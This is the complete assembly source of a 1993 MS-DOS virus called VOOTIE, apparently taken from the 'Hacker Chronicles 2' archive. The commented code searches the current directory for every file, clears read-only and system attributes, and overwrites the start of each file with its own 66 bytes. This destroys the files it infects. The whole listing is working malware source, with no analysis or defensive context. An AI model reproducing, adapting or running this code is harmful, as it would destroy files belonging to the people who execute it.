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Hacker Chronicles 2
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HACKER2.BIN
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308.VOOTIE.ASM
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Assembly Source File
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1993-02-22
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2KB
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54 lines
; VOOTIE virus
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
org 0100h
Vootie: mov dx,offset file_argument ;load search mask, *.*, for any files
push bp ;
mov ah,4Eh ;find first host file, any file
refind: int 21h ;keep cycling through directory
jb exit ;no more files, exit
mov ah,2Fh ;set DTA
int 21h
mov si,bx
mov ax,4301h ;clear file attributes so
xor cx,cx ;virus can roll over read-only
;and system files
lea dx,[si+1Eh]
int 21h
mov ax,3D02h ;open host file, read/write
int 21h
xchg ax,bx ;put handle in ax
mov ah,40h ;write to file function
mov cx,0042h ;66 bytes to write in cx
mov dx,0100h ;write from start of Vootie
int 21h
mov ah,3Eh ;close infected file
int 21h
mov ah,4Fh ;find next file in directory
jmp Short refind ;cycle to "refind"
;---------------------------------------
exit: pop bp
mov ax,4C00h ;terminate program
int 21h ;exit to DOS
;---------------------------------------
;DATA
file_argument db "*.*"
my_name dw 5600h ;virus name =
db 99h ;"VOOTIE" in
db 93h ;weird ASCII
dw 8BC2h ;so VSUM indexer will
db 90h ;have something to include
;in database before lunch
CODE ENDS
END VOOTIE